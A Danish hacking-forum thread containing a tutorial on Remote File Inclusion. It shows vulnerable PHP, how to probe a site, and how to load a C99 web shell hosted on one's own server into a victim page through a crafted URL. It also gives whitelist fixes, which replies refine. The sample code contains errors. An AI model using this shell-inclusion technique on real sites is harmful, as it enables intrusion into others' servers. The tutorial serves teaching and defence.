Tråd bedømmelse:
  • 0 Stemmer - 0 Gennemsnit
  • 1
  • 2
  • 3
  • 4
  • 5
[STUT] RFI (Remote File Inclusion)
23-02-2013, 15:22 (Denne besked var sidst ændret: 28-05-2013, 00:38 af Doctor Blue.)
#1
[STUT] RFI (Remote File Inclusion)
NOTE: Det her er kun til uddannelsesmæssige formål alene. Der tages intet ansvar for forkert brug af dette.

Indholdsfortegnelse
  1. Teori
  2. Finde sårbarheden
  3. Udnyttelse af sårbarheden
  4. Beskyttelse mod RFI
  5. Ekstra referencer



1. Teori

RFI(Remote File Inclusion) er hvor hackeren kan inkludere en ekstern fil, typisk via et script såsom .asp/.php på web serveren.
RFI sårbarhed opstår når en fil skal inkluderes og brugeren kan vælge hvilken fil. Selve fejlen består så i at scriptet ikke validere om hvorvidt det er noget ordentligt der bliver sat ind, og at alle kan sætte noget ind.




2. Finde sårbarheden

For at finde sårbarheden skal du først finde en side hvor brugeren kan vælge hvilken fil der skal inkluderes. Dette kan være meget svært da man ikke kan se kildekoden til scriptet.
Jeg vil vise et lille eksempel for at klargøre hvad du skal kigge efter:
Lad os sige at fru. hansen har en side hvori vi hun inkludere nogle tekstfiler via .php .
Den side hedder www.fruhansen.dk
php filen ligger på hendes server og hedder hentfil.php
Filen der inkludere hendes tekstfiler kunne se sådan her ud:

// filnavn: hentfil.php
<?php
$filAtHente = $_POST["fil"];

include(fil);

?>

<form method="post">
<select name="fil">
<option value="regnskab.txt">
<option value="kageopskrift.txt">
</select>
</form>

Det hendes kode nu ville gøre var at modtage en post parameter fra form'en som enten er regnskab.txt eller kageopskrift.txt
Men som folk nok kan se, er der ingen verifikation, på om det i virkeligheden er regnskab.txt eller kageopskrift.txt der bliver inkluderet. Det kunne ligeså godt være hvilken som helst fil.

Måden vi finder ud af om dette er muligt, eller om den tjekker hvad vi skriver er blot ved at sende nogle falske post parametre til hendes side.
Du kunne f.eks se om du kunne smide et af dine egne tekstdokumenter derind.

Så i stedet for at du spørger om regnskab.txt kan du jo se om den vil inkludere din egen fil i stedet.

Så:
www.fruhansen.dk/hentfil.php?fil=regnskab.txt

Bliver til:
www.fruhansen.dk/hentfil.php?fil=www.dinhjemmeside.com/dinfil.txt?

Hvis du kan dette har du nu succesfuldt fundet en RFI sårbarhed og er klar til at rykke videre





2. Udnyttelse af sårbarheden

Den letteste måde at udnytte en sårbarhed som denne er med shells. For at finde et shell eller finde ud af hvad det er så kig i Ekstra referencer.
Husk at nogle shells kan være backdoored. Dvs. at nogle har adgang til din bagdør.

Men når du har anskaffet dig et shell(Jeg anbefaler C99) er du klar til at udnytte en RFI sårbarhed.

Det første du skal gøre er at uploade dit shell på din egen side i tekst format. Sådan så det ikke bliver loaded på din egen side som en .php fil.

Når du har gjort dette finder du dit link til dit shell.
Dette kunne være.
www.dinhjemmeside.com/ditshell.txt

Det du gør nu er, som tidligere at inkludere filen i din offers side.
www.fruhansen.dk/hentfil.php?fil=www.dinhjemmeside.com/ditshell.txt?

Spørgsmåls tegnet er vigtigt, da filen så vil bliver loaded som PHP.





4. Beskyttelse mod RFI

For at beskytte sig selv mod RFI skal man blot verificere det brugeren sender afsted.

Den gamle kode:

// filnavn: hentfil.php
<?php
$filAtHente = $_POST["fil"];

include(fil);

?>

<form method="post">
<select name="fil">
<option value="regnskab.txt">
<option value="kageopskrift.txt">
</select>
</form>

Den nye:

// filnavn: hentfil.php
<?php
$filAtHente = $_POST["fil"];

if($filAtHente=="regnskab.txt" || $filAtHente=="kageopskrift.txt"){
include(fil);
}else{
echo "Du sender forkerte parametre!";
}




?>

<form method="post">
<select name="fil">
<option value="regnskab.txt">
<option value="kageopskrift.txt">
</select>
</form>





5. Ekstra referencer

Hvad er et shell? Hvor kan jeg få et?
Find alle beskeder fra denne bruger
Citer denne besked i et svar
25-02-2013, 14:51 (Denne besked var sidst ændret: 25-02-2013, 14:54 af Doctor Blue.)
#2
RE: [STUT] RFI(Remote File Inclusion)
Kode:
// filnavn: hentfil.php
<?php
    $filAtHente = $_POST["fil"];
      
    if($filAtHente=="regnskab.txt" && $filAtHente=="kageopskrift.txt"){
        include(fil);
    }else{
        echo "Du sender forkerte parametre!";
    }


    

?>

<form method="post">
    <select name="fil">
        <option value="regnskab.txt">
        <option value="kageopskrift.txt">
    </select>
</form>
For det første har du skrevet "    if($filAtHente=="regnskab.txt" && $filAtHente=="kageopskrift.txt"){"
Jeg vil tro du mener || i stedet for && :)
Desuden ville det være bedre enten at bruge en switch eller tjekke mod et array.

Her er den metode jeg selv bruger
Kode:
$whitelist = array("news", "dologin", "dologout");
if(isset($_GET['p'])){
    if(in_array($_GET['p'],$whitelist)){
        require "content/" . $_GET['p'] . ".php";
    }
}else{
    require "content/news.php"; // Inkludér forsiden hvis en ugyldig værdi bliver givet
}
Mangler du hjælp?
Regler |  E-mail (PGP)
Besøg denne brugers hjemmeside Find alle beskeder fra denne bruger
Citer denne besked i et svar
25-02-2013, 17:25 (Denne besked var sidst ændret: 25-02-2013, 17:26 af Morph3s.)
#3
RE: [STUT] RFI(Remote File Inclusion)
(25-02-2013, 14:51)Doctor Blue Skrev:
Kode:
// filnavn: hentfil.php
<?php
    $filAtHente = $_POST["fil"];
      
    if($filAtHente=="regnskab.txt" && $filAtHente=="kageopskrift.txt"){
        include(fil);
    }else{
        echo "Du sender forkerte parametre!";
    }


    

?>

<form method="post">
    <select name="fil">
        <option value="regnskab.txt">
        <option value="kageopskrift.txt">
    </select>
</form>
For det første har du skrevet "    if($filAtHente=="regnskab.txt" && $filAtHente=="kageopskrift.txt"){"
Jeg vil tro du mener || i stedet for && :)
Desuden ville det være bedre enten at bruge en switch eller tjekke mod et array.

Her er den metode jeg selv bruger
Kode:
$whitelist = array("news", "dologin", "dologout");
if(isset($_GET['p'])){
    if(in_array($_GET['p'],$whitelist)){
        require "content/" . $_GET['p'] . ".php";
    }
}else{
    require "content/news.php"; // Inkludér forsiden hvis en ugyldig værdi bliver givet
}

Yea, mente || tak for heads up ;) .

Kan sagtens se hvad du mener. Men dit hiver mange unødige ting ind, som egentlig ikke har noget at gøre med selve RFI sårbarheden. Det jeg blot prøver på er at lave det så simpelt så selv en der ikke kan PHP kan forstå det.

EDIT:
Og når der kun skal testes for 2 værdier er array eller switch overflødigt :)
Find alle beskeder fra denne bruger
Citer denne besked i et svar
26-02-2013, 23:35
#4
RE: [STUT] RFI(Remote File Inclusion)
Lækre tutorials du har fået smækket sammen :D
er rimeligt noob med det her, så det hjælper en del ^^
Besøg denne brugers hjemmeside Find alle beskeder fra denne bruger
Citer denne besked i et svar
26-02-2013, 23:44
#5
RE: [STUT] RFI(Remote File Inclusion)
(26-02-2013, 23:35)danbirk Skrev: Lækre tutorials du har fået smækket sammen :D
er rimeligt noob med det her, så det hjælper en del ^^

Thanks :) Kom endelig med feedback hvis der er noget du ikke forstår eller noget jeg skal skrive på ;)
Find alle beskeder fra denne bruger
Citer denne besked i et svar
23-03-2013, 01:38
#6
RE: [STUT] RFI(Remote File Inclusion)
Lækkert med noget php lærdom. Det kan jeg bedre forhold mig til end meget andet kode
Don't learn to hack, hack to learn
Find alle beskeder fra denne bruger
Citer denne besked i et svar
« Ældre | Nyere »




User(s) browsing this thread: 1 Gæst(er)